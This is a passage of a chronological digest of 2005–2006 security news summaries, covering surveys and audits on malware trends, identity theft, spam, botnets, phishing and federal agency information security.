DHS IAIP Daily; http://www.theregister.co.uk/2005/12/15/mcafee_internal_security_survey/

GEEKS, SQUATTERS AND SABOTEURS THREATEN CORPORATE SECURITY

Workers across Europe are continuing to place their own companies at risk from information security attacks. This "threat from within" is undermining the investments organizations make to defend against security threats, according to a study by security firm McAfee. The survey, conducted by ICM Research, produced evidence of both ignorance and negligence over the use of company IT resources. One in five workers let family and friends use company laptops and PCs to access the Internet. More than half connect their own devices or gadgets to their work PC and a quarter of these do so every day. Around 60 percent admit to storing personal content on their work PC. One in ten confessed to downloading content at work they shouldn't. Most errant workers put their firms at risk through either complacency or ignorance, but a small minority are believed to be actively seeking to damage the company from within. Five percent of those questioned say they have accessed areas of their IT system they shouldn't have while a very small number admitted to stealing information from company servers.

Category 31.1 Surveys, studies, audits of security

2005-12-28 **Criminals viruses security Windows outbreaks Symantec malicious wares inbox programs Sophos firms**

DHS IAIP Daily; http://news.bbc.co.uk/2/hi/technology/4521844.stm

CRIMINALS TARGET VIRUSES FOR CASH

At first glance, 2005 looks like it was a quiet year for computer security because there were far fewer serious Windows virus outbreaks than in 2004. According to figures gathered by security firm Symantec, there were 33 serious outbreaks in 2004. In 2005, there were only six such incidents. "We're talking about a substantial decrease in worldwide pandemics," said Kevin Hogan, senior manager in Symantec's security response team. This decline is taking place because virus makers have largely stopped spreading their malicious wares with mass-mailers that try to infect as many people as possible via their inbox. Instead, virus creators are cranking out more versions of malicious programs than ever before. Year-end statistics from Finnish anti-virus firm F-Secure show that there were 50 percent fewer virus outbreaks in 2005 but the number of malicious programs has grown by, on average, 40 percent for the last two years. Similarly Sophos reported that it found 1,940 new malicious programs in November 2005, the largest increase since records began. Security experts say this explosion in variants is partly driven by a desire to overwhelm anti-virus firms.

Category 31.1 Surveys, studies, audits of security

2006-01-03 **study survey instant messaging IM attacks jump 826% 2004 2005**

DHS IAIP Daily; http://www.securitypipeline.com/news/175800842

DECEMBER INSTANT MESSAGING ATTACKS JUMP 826 PERCENT OVER 2004

Attacks against public instant messaging (IM) networks soared over 800 percent in December 2005, compared to the same month last year, a security company announced Tuesday, January 3. According to IMlogic's Threat Center, December 2005's instant message exploits jumped 826 percent over December 2004, just the latest proof of the expanding threat facing IM users throughout the year. December, however, was slightly off the previous two months. The year's last month saw 241 new threats, said IMlogic, down from the 307 in November and the 294 in October. Combined, the three months showed a 13 percent increase in IM threats over the third quarter of 2005. IM attacks not only continue to grow in number, but also keep gaining in sophistication, said IMlogic chief technology officer Jon Sakoda. MSN was the most heavily-hit IM network in December, added IMlogic, and accounted for 48 percent of the total threats launched. America Online's AIM, meanwhile, tallied 41 percent, while Yahoo's instant messaging network came in a very distant third, with 11 percent. IMlogic year-end results of its IM tracking effort: http://www.imlogic.com/im_threat_center/index.asp

---

Category 31.1 Surveys, studies, audits of security

2006-01-11 **FBI computer crime survey study attacks succeeding despite security investments**

DHS IAIP Daily; http://searchsecurity.techtarget.com/originalContent/0,28914
2,sid14_gci1157706,00.html

FEDERAL BUREAU OF INVESTIGATION SAYS ATTACKS SUCCEEDING DESPITE SECURITY INVESTMENTS

Despite investing in a variety of security technologies, enterprises continue to suffer network attacks at the hands of malware writers and inside operatives, according to an annual Federal Bureau of Investigation (FBI) report released Wednesday, January 11. The 2005 FBI Computer Crime Survey was taken by 2,066 organizations in Iowa, Nebraska, New York, and Texas late last spring, which survey organizers deemed a good sample of enterprises nationwide. The report is designed to "gain an accurate understanding" of computer security incidents experienced "by the full spectrum of sizes and types of organizations within the United States," the FBI said. The 23-question survey is not the same as the CSI/FBI Computer Crime and Security Survey. The survey addressed such issues as the computer security technologies enterprises used, what kinds of security incidents they've suffered and what actions they've taken. Among the findings: 1) Security software and hardware failed to prevent more than 5,000 incidents among those surveyed; 2) A common point of frustration came from the nonstop barrage of viruses, Trojans, worms and spyware; 3) Use of antivirus, antispyware, firewalls and antispam software is almost universal among those who responded. But the software apparently did little to stop malicious insiders. FBI 2005 Computer Crime Survey: http://www.fbi.gov/publications/ccs2005.pdf

---

Category 31.1 Surveys, studies, audits of security

2006-01-16 **study classic viruses decline PandaLabs**

DHS IAIP Daily; http://www.net−security.org/press.php?id=3761

NUMBER OF "CLASSIC" VIRUSES DROPPED DRAMATICALLY IN 2005

According to data released by PandaLabs, less than one percent of the new threats detected in 2005 were viruses, whereas threats like Trojans and worms still had a significant presence compared to the previous year. “Viruses, described as threats that add their code to other executable files in order to carry out their malicious actions, have reached rock bottom this year,” explains Luis Corrons, director of PandaLabs. “The aim of creators of this type of threat is usually fame. However, legislation against computer crime in many countries worldwide has led to a dramatic drop in the number of new specimens of this type. Now, almost nobody runs the risk if it does not lead to financial gain.” Of the new threats detected by PandaLabs in 2005, 42 percent were Trojans, 26 percent were bots, 11 percent were backdoor Trojans, eight percent were dialers, six percent were worms and three percent were types of adware/spyware.

Category 31.1 Surveys, studies, audits of security

2006-01-19 **denial of service DoS zombie PC survey study**

DHS IAIP Daily; http://news.bbc.co.uk/1/hi/technology/4625304.stm

ZOMBIE PCS TARGET VULNERABLE SITES.

Recently, denial-of-service (DoS) attacks by criminals who recruit so-called zombie PCs and use their net addresses to deluge sites with data, have become increasingly more prevalent. According to security firm CipherTrust, high profile websites are ripe for this cyber-crime, largely due to the ease with which attacks can be launched. Criminals intent on bringing down sites recruit mostly Windows PCs by infecting them with viruses or worms. They then use the net addresses of these zombie PCs to deluge targeted websites with a huge amount of data, causing the servers to fall over and forcing the website offline. CipherTrust has seen an alarming rise of nearly 50 percent in the number of infected machines being recruited over the past six months. The middlemen in these attacks tend to be home users. This is largely a result of the Sober virus which hit PCs around the world at last year. It estimates that 250,000 new machines are infected every day. "China has the most zombie PCs at the moment and the U.S. is regularly number two, with Germany at number three and the UK, with just three percent of infected machines, at number 10," said David Stanley, managing director of CipherTrust.

Category 31.1 Surveys, studies, audits of security

2006-01-30 **study ID theft decrease cost increase**

EDUPAGE; http://online.wsj.com/article/SB113858617249559658.html

NUMBER OF ID THEFTS DROPS, COSTS RISE

According to a new report from Javelin Strategy and Research and the Better Business Bureau, the number of individuals victimized by identity theft has fallen in recent years, but the amount of money lost to such malfeasance is climbing. Researchers found that about 8.9 million people suffered identity theft last year, compared to 9.3 million the year before. In 2003, the Federal Trade Commission estimated that identity thieves successfully targeted 10.1 million individuals. Experts said the decline in the number of victims indicates heightened awareness and better tools to combat identity crimes. Even as the number of victims has dropped, the total losses to such crimes has risen from $53.2 billion in 2003 to $56.6 billion last year. "Criminals are building up more expertise," said James Van Dyke, founder and principal analyst of Javelin, "and they have to soak victims for more money."

Category 31.1 Surveys, studies, audits of security

2006-02-03 **report Jupiter Research ISP filters forcing spam decline**

DHS IAIP Daily;
http://www.techweb.com/wire/security/178601917;jsessionid=5S
PNDZX55YKH4QSNDBOCKHSCJUMEKJVN

REPORT: ISP FILTERS FORCING DECLINE IN SPAM.

ISP filters are largely responsible for a decline in e-mail spam, which is expected to continue declining through 2010, according to a report released Friday, February 3, by Jupiter Research. Jupiter said the average e-mail consumer received 3,253 spams in 2005, but that number will drop to 1,640 in 2010. The company forecasts that the volume of spam messages per consumer will decrease by 13 percent a year until 2010. "The next five years will see a more organized e-mail marketing arena," said David Schatsky, senior vice president of research, in a statement.

Category 31.1 Surveys, studies, audits of security

2006-02-06 **University of Washington study spyware prevalent Internet software IE browsers**

DHS IAIP Daily; http://www.securityfocus.com/brief/128

STUDY: SPYWARE REMAINS RAMPANT AS WINAMP EXPLOITED.

A new study by the University of Washington finds that one in twenty executables on the Internet contain spyware. The study, which sampled more than 20 million Internet addresses, also found other disturbing trends. Among them: one in 62 Internet domains contains "drive-by download attacks," which try to force spyware onto the user's computer simply by visiting the Website. The problems for Web surfers primarily affect Microsoft's Internet Explorer browser but exist to a lesser extent for other browsers as well.

University of Washington study: http://www.cs.washington.edu/homes/gribble/papers/spycrawler.pdf

---

Category 31.1 Surveys, studies, audits of security

2006-02-24 **Gartner research study cell phone threats increase**

DHS IAIP Daily;
http://news.com.com/Is+your+cell+phone+due+for+an+antivirus+ shot/2100−
7349_3−6042745.html

SECURITY EXPERTS: THREATS TO CELL PHONES ARE LIKELY TO INCREASE.

Programs that fight viruses have become a necessary evil on Windows PCs. Now the antivirus industry is turning its attention to mobile phones -- but it's running into reluctance from cell service providers, who aren't so sure that the handset is the best place to handle security. Verizon Wireless doesn't see a need for its customers to install antivirus software on cell phones. "At this point, that is absolutely not required by individual customers," spokesperson Jeffrey Nelson said. But makers of security software are eager to get their products onto handsets, a huge potential market. About 812 million mobile terminals -- such as cell phones and smart phones -- were sold in 2005, according to market researcher Gartner. That compares with an estimated 219 million PCs in the same period. The market research firm expects annual mobile device shipments to exceed one billion units for the first time in 2008. While the number of threats to cell phones is low, security experts and analysts agree that situation is likely to change. Gartner suggests a widespread attack could surface by the end of next year.

Category 31.1 *Surveys, studies, audits of security*

2006-02-27 **RSA security conference attendees report security breaches push improvement safeguard prevent accidental data leaks**

DHS IAIP Daily;
http://www.computerworld.com/printthis/2004/0,4814,109007,00.html

BREACHES PUSH COMPANIES TO IMPROVE INTERNAL SAFEGUARDS; SECURITY MANAGERS SHIFT FOCUS TO PREVENTING ACCIDENTAL DATA LEAKS.

After spending years implementing controls to protect network perimeters from external threats, companies are now guarding against internal data lapses, according to attendees at RSA Conference 2006 this month. Driving the trend are concerns about accidental data leaks or thefts resulting from internal miscues, a rash of recent data breaches caused by the mishandling of information, and regulations that require companies to exercise greater control over data they handle. "Even up to last year, there was a huge focus on strengthening the perimeter to make sure the hacker from outside didn't get in," said Stuart McIrvine of IBM. "Everyone was concerned about malware penetrating the perimeter." More recently, though, "there's been a big shift in focus to what's going on inside the enterprise," McIrvine said. Gene Fredriksen of Raymond James Financial Inc. said "Traditional information security has been very good at protecting structured data." But now, he added, there's a whole class of unstructured data in spreadsheets, Web forms, and other formats.

Category 31.1 *Surveys, studies, audits of security*

2006-02-27 **Internal Revenue Service IRS computer information security needs to improve tighten TIGTA**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily−updates/38341−1.html

IRS NEEDS TO TIGHTEN SECURITY SETTINGS.

The IRS has not consistently maintained the security settings it established and deployed under a common operating environment (COE), resulting in a high risk of exploitation for some of its computers, according to the Treasury Department's inspector general for tax administration (TIGTA). The IRS has adopted a common operating environment for security configurations on all of its workstations. The IRS has installed the master COE image on 95 percent of its computers, TIGTA said in its report released Monday, February 27. Of 102 computers tested, only 41 percent continued to be in compliance; 59 percent were not or contained at least one high-risk vulnerability that would allow the computer to be exploited or rendered unusable. Almost one-half of the compliant computers contained at least one incorrect setting that could allow employees to circumvent security controls established by the common operating environment. Also, at the time of the audit, the COE security settings had not been installed on more than 4,700 computers. Without them, computers were missing security patches and at high risk for viruses. Report: http://www.ustreas.gov/tigta/auditreports/2006reports/200620 031fr.pdf

---

Category 31.1 *Surveys, studies, audits of security*

2006-03-01 **study report OMB IT security positive gaps closing**

DHS IAIP Daily; http://www.fcw.com/article92474−03−01−06−Web

OMB DELIVERS POSITIVE IT SECURITY REPORT.

The Office of Management and Budget (OMB) Wednesday, March 1, presented its report, "FY2005 Report to Congress on Implementation of the Federal Information Security Management Act of 2002," to Congress. The report showed steady progress in closing security gaps in federal agencies. It found that 85 percent of IT systems to be certified and accredited and that the quality of the certifications and accreditations at the agencies also increased. OMB's report: http://www.whitehouse.gov/omb/inforeg/reports/2005_fisma_rep ort_to_congress.pdf

---

Category 31.1 *Surveys, studies, audits of security*

2006-03-07 **China malware software increase Symantec report finding**

DHS IAIP Daily;
http://www.infoworld.com/article/06/03/07/76162_HNchinamalware_1.html

CHINA MALWARE INCREASING, SYMANTEC SAYS.

The amount of malware coming from China rose 153 percent in the last six months of 2005, Symantec reported Tuesday, March 7. The increase came in remote-controlled "bot" attacks emanating from China during the period, said Dave Cole, a director with Symantec Security Response. Rising Internet use in China, and a lack of precautions taken by new users, may be contributing to the malware jump.

Category 31.1 Surveys, studies, audits of security

2006-03-07 **study report cyber criminals increase attacks Symantec**

DHS IAIP Daily; http://today.reuters.com/news/articlenews.aspx?type=technolo gyNews&storyid=2006−03−07T061445Z_01_N06313562_RTRUKOC_0_US− SYMANTEC−SECURITY.xml

REPORT: CYBER CRIMINALS STEPPING UP TARGETED ATTACKS.

Cyber criminals are stepping up smaller, more targeted attacks as they seek to avoid detection and reap bigger profits by stealing personal and financial information, according to a report issued on Monday, March 6. Symantec Corp.'s Internet Security Threat report said during the second half of 2005, attackers continued to move away from broad attacks seeking to breach firewalls and routers and are now taking aim at the desktop and Web applications. The latest report said threats such as viruses, worms and Trojans that can unearth confidential information from a user's computer rose to 80 percent of the top 50 malicious software code threats from 74 percent in the previous six months.

Category 31.1 Surveys, studies, audits of security

2006-03-07 **study computer viruses concern UK companies infection worst security incidents**

DHS IAIP Daily; http://www.businessweekly.co.uk/news/view_article.asp?articl e_id=10229

COMPUTER VIRUSES A GROWING CONCERN FOR UK COMPANIES.

Infection by viruses was the biggest single cause of the worst security incidents for UK companies in the past two years, accounting for roughly half of them, a new survey shows. Two-fifths of these were described as having a serious impact on the business, according to findings from the 2006 Department of Trade and Industry's biennial Information Security Breaches Survey, conducted by a consortium led by PricewaterhouseCoopers. The research showed that virus infections were more likely to have caused service interruption than other incidents. In addition, a quarter of UK businesses are not protecting themselves against the threat caused by spyware. The full results of the ninth, biennial survey will be published at the Infosecurity Europe exhibition and conference in London, April 25-27. Survey: http://www.ukmediacentre.pwc.com/Content/Detail.asp?ReleaseI D=1817&NewsAreaID=2

Category 31.1 Surveys, studies, audits of security

2006-03-08 **computer security attacks rise money risk theft fraud Symantec report study**

EDUPAGE; http://news.yahoo.com/s/nf/20060308/tc_nf/41987

ATTACKS ON THE RISE, WITH MORE MONEY AT RISK

In a new report, computer security firm Symantec says the number of Internet attacks is rising and that the motive for such attacks is increasingly money. The report is based on data gathered from 40,000 security devices from around the world and covers Internet mischief ranging from spam and adware to network attacks and phishing scams. Although many hackers formerly plied their trade merely to demonstrate what they could do, Internet scams such as phishing are designed to put money into the hands of online thieves. Symantec noted that the tools used to launch Internet attacks are becoming very sophisticated, and the report also highlights the fact that many networks remain poorly protected despite simple means to increase security against such threats. Javier Santoyo, development manager at Symantec Security Response, said, "Just letting users know about configuration management and maybe installing heuristics-based solutions on desktops goes a long way."

Category 31.1 Surveys, studies, audits of security

2006-03-16 **cybercrime more costly physical crime IBM survey**

DHS IAIP Daily; http://www.theregister.co.uk/2006/03/16/ibm_cybercrime_survey/

CYBERCRIME COSTS BUSINESSES MORE THAN PHYSICAL CRIME.

Cybercrime is more costly to businesses than physical crime, according to a recent IBM survey of 600 U.S. businesses. Lost revenue, wasted staff time dealing with IT security attacks and damage to customer goodwill were rated as a bigger problem than conventional crime by 57 percent of firms in the healthcare, financial, retail and manufacturing industries. Of the respondents in the U.S. finance industry, 71 percent were the most concerned about the threat of cybercrime. According to the IBM survey, 83 percent of U.S. organizations believe they have safeguarded themselves against organized cybercrime but most concentrated on upgrading virus software, improving firewall defenses and implementing patch management systems. IBM said these procedures are a necessary first step but fail to go far enough.

Category 31.1 Surveys, studies, audits of security

2006-03-16 **federal agencies network security no improvement D+ average grade government efforts law enforcement homeland security**

EDUPAGE; http://www.fcw.com/article92642-03-16-06-Web

NO IMPROVEMENT FOR FEDERAL AGENCIES IN NETWORK SECURITY

The House Government Reform Committee has once again issued a failing report card on computer security at federal agencies. Despite the fact that five federal agencies were graded A+, overall, agencies earned a D+, the same grade as last year. The grades are based on performance metrics from the Office of Management and Budget. Agencies on "the frontline in the war on terror" were uniformly terrible, according to Rep. Tom Davis (R-Va.), chairman of the committee. The Department of Homeland Security's grade stayed the same this year as last: F. Meanwhile, the grade for the Department of Defense fell from a D to an F, the State Department went from a D+ to an F, and the Department of Justice dropped from a B- to an F. Representatives from federal agencies appeared before the committee, and many of those with failing grades offered explanations about why their scores have remained low. Members of the committee were generally dismissive of the explanations, however, saying that the agencies were simply making excuses.

Category 31.1 Surveys, studies, audits of security

2006-03-17 **cybercrime survey IBM loss US better prepared for threat**

EDUPAGE; http://news.com.com/2100-7350_3-6050875.html

SURVEY HINTS AT CYBERCRIME LOSSES

A recent survey conducted by IBM of CIOs in manufacturing, financial, health-care, and retail industries shows the growing threat of cybercrime on organizational resources. Of the 600 U.S. CIOs in the survey, 57 percent said cybercrime costs their companies more than conventional crime. About 75 percent said the threat from cybercrime comes in part from within their companies. Moreover, 84 percent said hackers are increasingly part of organized crime, not simply individuals working alone. Results from international CIOs in the survey closely followed those of the U.S. companies for most measures, but they diverged on several key points. Among U.S. CIOs, 83 percent said they were prepared to face the threats of cybercriminals, compared to just 53 percent of internationals.

Category 31.1 Surveys, studies, audits of security

2006-03-17 **audit ballistic missile defense system Star Wars flaws policy awareness information warfare vulnerability risks management government audit suppression report**

RISKS; FCW http://tinyurl.com/lpp2f; http://tinyurl.com/k6n2b 24 20

GOVERNMENT REPORT ON BALLISTIC MISSILE DEFENSE SYSTEM SECURITY FLAWS

Bob Brewin reported in Federal Computer Week for March 16, 2006 that "The network that stitches together radars, missile launch sites and command control centers for the Missile Defense Agency (MDA) ground-based defense system has such serious security flaws that the agency and its contractor, Boeing, may not be able to prevent misuse of the system, according to a Defense Department Inspector General's report." The results section of the report's Executive Summary was as follows:

"Missile Defense Agency officials had not prepared a System Security Authorization Agreement for the Ground-Based Midcourse Defense Communications Network. Additionally, available security documentation did not properly reflect current operations of the network. Missile Defense Agency officials also had not fully implemented information assurance controls required to protect the integrity, availability, and confidentiality of information in the Ground-Based Midcourse Defense Communications Network. Specifically, the Missile Defense Agency program office for the Ground-Based Midcourse Defense Communications Network did not provide information assurance awareness training to prior to being granted access, conduct reviews for unauthorized access, properly implement or document user access procedures and controls, and prepare contingency and incident response plans. Further, a Plan of Action and Milestones designed to assist managers in correcting security weaknesses had not been prepared. As a result, Missile Defense Agency officials may not be able to reduce the risk and extent of harm resulting from misuse or unauthorized access to or modification of information of the Ground-Based Midcourse Defense Communications Network and ensure the continuity of the network in the event of a disruption. Additionally, the Missile Defense Agency Chief Information Officer and the Designated Approving Authority may not be able to make appropriate management-level decisions relating to the security of the Ground-Based Midcourse Defense Communications Network if required key documents are not prepared, updated, or tested."

The report was removed from the government Web site shortly after publication of the news story.

Category 31.1 Surveys, studies, audits of security

2006-03-23 **GAO report IRS needs strengthen information security controls**

DHS IAIP Daily; http://www.gao.gov/highlights/d06328high.pdf Source: http://www.gao.gov/cgi−bin/getrpt?GAO−06−328

GAO-06-328: INFORMATION SECURITY: CONTINUED PROGRESS NEEDED TO STRENGTHEN CONTROLS AT THE INTERNAL REVENUE SERVICE (REPORT).

The Internal Revenue Service (IRS) has a demanding responsibility in collecting taxes, processing tax returns, and enforcing the nation's tax laws. It relies extensively on computerized systems to support its financial and mission-related operations. Effective information security controls are essential for ensuring that information is adequately protected from inadvertent or deliberate misuse, disruption, or destruction. As part of its audit of IRS's fiscal year 2005 financial statements, the Government Accountability Office (GAO) assessed (1) the status of IRS's actions to correct or mitigate previously reported information security weaknesses at two sites and (2) whether controls over key financial and tax processing systems located at the facilities are effective in ensuring the confidentiality, integrity, and availability of financial and sensitive taxpayer data. GAO recommends that the IRS Commissioner take several actions to fully implement an information security program. In commenting on a draft of this report, IRS concurred with our recommendations.

Category 31.1 Surveys, studies, audits of security

2006-03-23 **privacy violations survey Bentley College Watchfire California Online Privacy Protection Act**

EDUPAGE; http://chronicle.com/daily/2006/03/2006032301t.htm

SURVEY SUGGESTS WIDESPREAD PRIVACY VIOLATIONS

A study conducted by Bentley College and software company Watchfire indicates that nearly three-quarters of colleges and universities in California fail to comply with a state law concerning the collection and use of personal information. The California Online Privacy Protection Act of 2003 requires organizations that collect such information online to clearly post privacy policies on their home pages and on every page from which personal information is collected. According to the study, which examined the Web sites of 236 institutions, only 28 percent had privacy policies linked from their home pages. Moreover, every one of the 236 institutional Web sites had at least one page that collects personal data without encrypting it. Mary Culnan, management professor at Bentley and author of the report, said she hopes these results serve "as a wake-up call to students, alumni, and prospective students."

Category 31.1 Surveys, studies, audits of security

2006-03-31 **information security report GAO Security Exchange Commission needs improvement**

DHS IAIP Daily; http://www.gao.gov/cgi−bin/getrpt?GAO−06−408

GAO-06-408: INFORMATION SECURITY: SECURITIES AND EXCHANGE COMMISSION NEEDS TO CONTINUE TO IMPROVE ITS PROGRAM (REPORT).

The Securities and Exchange Commission (SEC) has a demanding responsibility enforcing securities laws, regulating the securities markets, and protecting investors. In enforcing these laws, SEC issues rules and regulations to provide protection for investors and to help ensure that the securities markets are fair and honest. It relies extensively on computerized systems to support its financial and mission-related operations. Information security controls affect the integrity, confidentiality, and availability of sensitive information maintained by SEC. As part of the audit of SEC's fiscal year 2005 financial statements, the Government Accountability Office (GAO) assessed (1) the status of SEC's actions to correct or mitigate previously reported information security weaknesses and (2) the effectiveness of the commission's information system controls in protecting the confidentiality, integrity, and availability of its financial and sensitive information. GAO recommends that SEC Chairman direct the Chief Information Officer to fully implement an agency-wide information security program. In providing written comments on a draft of this report, SEC said that GAO's recommendations are appropriate and actionable, and that it is focusing on fully implementing the recommendations. Highlights: http://www.gao.gov/highlights/d06408high.pdf

---

Category 31.1 *Surveys, studies, audits of security*

2006-04-03 **US Department of Justice DoJ National Crime Victimization Survey identity theft losses estimate survey study**

EDUPAGE; http://www.pcworld.com/news/article/0,aid,125291,00.asp

REPORT ESTIMATES EXTENT OF IDENTITY THEFT

According to data from the National Crime Victimization Survey, which is conducted by the U.S. Department of Justice, identity theft affected an estimated 3.6 million households--with losses totaling $3.2 billion--in the first six months of 2004. The survey contacts a random sample of 42,000 households every six months and follows them for three years. The new data are from the first instance of the survey to specifically address identity theft. The most common types of theft were from unauthorized use of credit cards. Households with annual incomes of more than $75,000 and those headed by individuals between 18 and 24 years old were more likely to suffer identity theft, though the survey did not investigate the possible reasons behind these trends.

Category 31.1 *Surveys, studies, audits of security*

2006-04-03 **study paper phishing scam fraud E*Trade**

EDUPAGE; http://news.zdnet.com/2100-1009_22-6057000.html

PROBING WHY PHISHING REMAINS SUCCESSFUL

A new paper published by three academics tries to explain why, after all the press about phishing scams, so many computer users continue to fall for them. "Why Phishing Works," written by Rachna Dhamija of Harvard University and Marti Hearst and J. D. Tygar of the University of California at Berkeley, points out that despite a general awareness of phishing rackets, most users are unable to discern the difference between a legitimate Web site and one spoofed to look like the site of a bank or other financial institution. In one exercise, the researchers created a fake bank site that fooled 91 percent of subjects participating in the experiment. Similarly, 77 percent misidentified a legitimate E*Trade e-mail as fraudulent. Experts attribute some of the problem to ignorance and some to users' not taking simple precautions, such as looking closely at the address bar of Web pages. Bernhard Otupal, a crime intelligence officer for high-tech crime at Interpol, noted that in one recent phishing scam, a number of users went to a site pretending to be that of a prominent bank and entered personal information even though they were not even customers of that bank.

Category 31.1 *Surveys, studies, audits of security*

2006-04-04 **British Phonographic Industry BPI illegal file sharing cost estimate piracy peer-to-peer P2P copyright intellectual property rights issues**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4875142.stm

FILE SHARING COSTS BRITISH MUSIC INDUSTRY NEARLY $2 BILLION

The British Phonographic Industry (BPI) estimates that illegal file sharing has cost nearly $2 billion (U.S.) over the past three years, and the International Federation of the Phonographic Industry (IFPI) has filed lawsuits against another 2,000 individuals suspected of file trading in 10 countries. The targets of the new lawsuits are said to be uploaders, those who make copyrighted music available to others for download. The lawsuits are extending to countries such as Portugal, which had not previously been included in such suits. In previous lawsuits, those found guilty of infringement or who settled with the IFPI paid several thousand dollars in fines. The IFPI also pointed out that parents are responsible for the actions of their children and can be made to pay damages on their behalf. Despite the legal action against file sharers and the emergence of legal online music services, data from research firm XTN indicate that in the United Kingdom, illegal downloading has risen 3 percent since September, now representing 28 percent of all music downloads.

Category 31.1 *Surveys, studies, audits of security*

2006-04-05 **botnet zombie computer networks trend study smaller smarter MessageLabs**

DHS IAIP Daily; http://www.gcn.com/online/vol1_no1/40334−1.html

TRENDS IN BOTNETS: SMALLER, SMARTER.

Some recent statistics on e-mail traffic provide more evidence of the trend toward smarter, more targeted online attacks. Botnets -- networks of compromised computers taken over by spammers and hackers -- are getting smaller. Rather than hundreds of thousands of zombie computers spitting out unwanted e-mail and malicious code, they now consist of tens of thousands. "They stay under the radar for longer," said MessageLabs chief technology officer Mark Sunner. "The return is still equal, if not greater, because the attacks are more targeted." Sunner said he expects continued refinement in attacks to be the distinguishing trend this year for spammers, hackers and purveyors of malicious code.

Category 31.1 Surveys, studies, audits of security

2006-04-05 **Microsoft warning social engineering danger software vulnerabilities threat reinforcement**

DHS IAIP Daily; http://www.informationweek.com/news/showArticle.jhtml;jsessionid=3ISV1FYRRBVOWQSNDBGCKHSCJUMEKJVN?articleID=184429007

MICROSOFT: SOCIAL ENGINEERING IS JUST AS DANGEROUS AS SOFTWARE VULNERABILITIES.

Attacks that rely on "social engineering" tricks to fool users into visiting malicious Websites are just as dangerous as any that exploit software vulnerabilities, Microsoft security researcher Matt Braverman, argued. According to Braverman, a program manager with Microsoft's Anti-Malware Technology Team, data from the group's February update of its Malicious Software Removal Tool discovered an unusually high number of Alcan.b worms on users' PCs. "Alcan.b does not exploit any software vulnerabilities. Instead, it spreads through popular peer-to-peer applications and its prevalence is likely due to effective social engineering...Threats like this reinforce the idea that malware that exploits user weakness can be as dangerous as those threats which exploit software vulnerabilities," claimed Braverman.

Category 31.1 Surveys, studies, audits of security

2006-04-05 **security fear preventing deployment mobile devices businesses survey study**

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,125319,00.asp

SECURITY FEARS HAMPER MOBILE DEVICES.

Around 60 percent of businesses are shying away from deploying mobile devices primarily due to security concerns, according to a new survey conducted by the Economist Intelligence Unit and commissioned by security vendor Symantec. Executives at 240 organizations worldwide were interviewed. One in five organizations said they have sustained financial losses due to an attack on mobile data platforms. Businesses also said they rated threats from viruses as the same or greater on mobile devices than on a fixed network.

Category 31.1 Surveys, studies, audits of security

2006-04-05 **junk fax FCC government enforcement audit report failures problems**

http://www.gao.gov/docdblite/details.php?rptno=GAO-06-425

WEAKNESSES IN PROCEDURES AND PERFORMANCE MANAGEMENT HINDER JUNK FAX ENFORCEMENT

The Telephone Consumer Protection Act of 1991 prohibited invasive telemarketing practices, including the faxing of unsolicited advertisements, known as "junk faxes," to individual consumers and businesses. Junk faxes create costs for consumers (paper and toner) and disrupt their fax operations. The Junk Fax Prevention Act of 2005 clarified an established business relationship exemption, specified opt-out procedures for consumers, and requires the Federal Communications Commission (FCC)--the federal agency responsible for junk fax enforcement--to report annually to Congress on junk fax complaints and enforcement. The law also required GAO to report to Congress on FCC's enforcement of the junk fax laws. This report addresses (1) FCC's junk fax procedures and outcomes, (2) the strengths and weaknesses of FCC's procedures, and (3) FCC's junk fax management challenges.

FCC has procedures for receiving and acknowledging the rapidly increasing number of junk fax complaints, but the numbers of investigations and enforcement actions have generally remained the same. In 2000, FCC recorded about 2,200 junk fax complaints; in 2005, it recorded over 46,000. Using its procedures to review the complaints, FCC's Enforcement Bureau (EB) issued 261 citations (i.e., warnings) from 2000 through 2005. EB has ordered six companies to pay forfeitures for continuing to violate the junk fax rules after receiving a citation. The six forfeitures totaled over $6.9 million, none of which has been collected by the Department of Justice for various reasons. EB officials cited competing demands, resource constraints, and the rising sophistication of junk faxers in hiding their identities as hindrances to enforcement. An emphasis on customer service, an effort to document consumers' complaints, and an attempt to target enforcement resources efficiently are the strengths of FCC's procedures; however, inefficient data management, resulting in time-consuming manual data entry, data errors, and--most important--the exclusion of the majority of complaints from decisions about investigations and enforcement, are weaknesses. FCC's guidance to consumers does not provide them with all of the information they need to support FCC's enforcement efforts. FCC faces management challenges in carrying out its junk fax responsibilities. The commission has no clearly articulated long-term or annual goals for junk fax monitoring and enforcement, and it is not analyzing the junk fax data. Without analysis, FCC cannot explore the need for, or implement, changes to its rules, procedures, or consumer guidance that might help deter junk fax violations or give consumers a better understanding of the junk fax rules. Most important, without performance goals and measures and without analysis of complaint and enforcement data, it is not possible to explore the effectiveness of current enforcement measures.

Full report at < http://www.gao.gov/new.items/d06425.pdf >.

Category 31.1 Surveys, studies, audits of security

2006-04-18 **study security flaws vulnerabilities fix slow**

DHS IAIP Daily; http://news.bbc.co.uk/2/hi/technology/4907588.stm

FIRMS SLOW TO FIX SECURITY FLAWS.

Hackers are getting a helping hand from firms taking too long to fix software vulnerabilities, research shows. A study carried out for security firm McAfee found that 19 percent of companies take more than a week to apply software patches to close vulnerabilities. A further 27 percent said it took two days to apply fixes for software loopholes. Across Europe, the French took the longest to apply patches. It took 27 percent of French firms a week to fix loopholes and a further 39 percent had them applied in 48 hours.

Category 31.1 Surveys, studies, audits of security

2006-04-24 **password overload IT security breach study UK**

DHS IAIP Daily; http://www.infoworld.com/article/reuters/2006−04−25_L2447182 0.html

PASSWORD OVERLOAD HITTING FIRMS' IT SECURITY: STUDY.

Security breaches from computer viruses, spyware, hacker attacks and theft of equipment are costing British business an estimated $18 billion a year, according to a survey on Tuesday, April 25. The loss is 50 percent higher than the level calculated two years ago, said the study by consultancy PricewaterhouseCoopers for the Department of Trade and Industry. One area of concern for security, the study warned, was the increasing number of user IDs and passwords employees were having to remember. Virtually every UK company uses anti-virus software, but a quarter of businesses are not protected against the newer threat of spyware. In addition, one in five corporate wireless networks is completely unprotected.

Category 31.1 Surveys, studies, audits of security

2006-04-25 **study report progress hackers Department of Trade and Industry computer attacks**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4939386.stm

STUDY SAYS BUSINESSES MAKING PROGRESS AGAINST HACKERS

